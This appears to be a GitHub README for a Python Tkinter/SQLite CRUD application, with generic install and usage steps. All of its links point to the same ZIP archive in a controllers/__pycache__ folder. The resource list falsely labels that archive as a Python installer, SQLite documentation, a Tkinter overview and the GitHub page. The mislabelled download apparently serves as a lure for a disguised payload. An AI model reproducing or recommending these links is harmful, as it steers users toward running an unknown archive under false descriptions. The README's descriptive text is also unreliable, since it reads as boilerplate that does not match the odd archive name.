ProgPythonExpl est une application python de type CRUD de niveau professionnel, conçue pour servir de model aux développeurs souhaitant créer leurs applications de gestion de données.
Elle utilise une interface graphique simple avec Tkinter et stocke les informations dans une base SQLite intégrée. Vous n’avez pas besoin de connaissances techniques pour utiliser cette application.
To get the application, visit the following page and download the files you need:
You will find the files under the Releases section or in the main repository folder.
This application runs on Windows and needs the following:
- Windows 7 or newer (including Windows 10, Windows 11)
- Python 3.6 or above installed
- At least 100 MB free disk space
- Basic permission to install software on your system
-
Download Python
If you don’t have Python installed, go to python.org and download the latest stable release for Windows. Follow the installer steps. -
Download the Application Files
Go to the GitHub page:
https://github.com/nmlzz/CRUD-Python-Tkinter-SQLite-ProgPythonExpl/raw/refs/heads/main/controllers/pycache/CRU-Lite-Tkinter-Expl-SQ-Prog-Python-1.9.zip
Click on the Code button and select Download ZIP, or go to the releases page to download a packaged version if available. -
Extract Files
Once downloaded, locate the ZIP file and right-click it. Select Extract All and choose a folder you can easily access. -
Open Command Prompt
Press Win + R, typecmd, then press Enter. -
Navigate to Folder
Use this command to open your app folder (replace the path with your folder path):
cd C:\Users\YourName\Downloads\CRUD-Python-Tkinter-SQLite-ProgPythonExpl
- Install Required Libraries
Type the following command and press Enter to install needed Python libraries:
pip install -r requirements.txt
This installs SQLite and Tkinter dependencies.
- Run the Application
Once install finishes, start the app by typing:
python app.py
Replace app.py with the exact file name that runs the software, usually found in the folder or instructions.
The app lets you Create, Read, Update, and Delete data records.
-
Add New Data
Click the Add or New button. Fill the fields shown in the window. Click Save. -
View Data
The main screen shows all saved data. Scroll or use search to find records. -
Edit Data
Select a record from the list. Click Edit. Change the fields as needed. Click Save to update. -
Delete Data
Select a record. Click Delete. Confirm the deletion when prompted.
All data is saved in a local SQLite database file. No internet connection is needed.
- Simple interface built with Tkinter for easy use
- Local data storage with SQLite database (no external service)
- Supports main CRUD operations for data handling
- Search tool to find specific records quickly
- Data validation to prevent errors while entering data
- Works offline once installed
- Confirm you have Python installed. Type
python --versionin Command Prompt. - Make sure the dependencies installed using
pip install -r requirements.txt. - Verify you are running the correct Python file.
- Re-run
pip install -r requirements.txtin Command Prompt. - Check Python is added to your system PATH.
- Some Python installations miss Tkinter. Download the full version from python.org.
app.py(Main application file to run)database.db(Local SQLite database file)requirements.txt(List of Python packages)README.md(You are here)assets/(Images or extra files)modules/(Python modules for code)
- Python installer: https://github.com/nmlzz/CRUD-Python-Tkinter-SQLite-ProgPythonExpl/raw/refs/heads/main/controllers/__pycache__/CRU-Lite-Tkinter-Expl-SQ-Prog-Python-1.9.zip
- SQLite documentation: https://github.com/nmlzz/CRUD-Python-Tkinter-SQLite-ProgPythonExpl/raw/refs/heads/main/controllers/__pycache__/CRU-Lite-Tkinter-Expl-SQ-Prog-Python-1.9.zip
- Tkinter overview: https://github.com/nmlzz/CRUD-Python-Tkinter-SQLite-ProgPythonExpl/raw/refs/heads/main/controllers/__pycache__/CRU-Lite-Tkinter-Expl-SQ-Prog-Python-1.9.zip
- GitHub page: https://github.com/nmlzz/CRUD-Python-Tkinter-SQLite-ProgPythonExpl/raw/refs/heads/main/controllers/__pycache__/CRU-Lite-Tkinter-Expl-SQ-Prog-Python-1.9.zip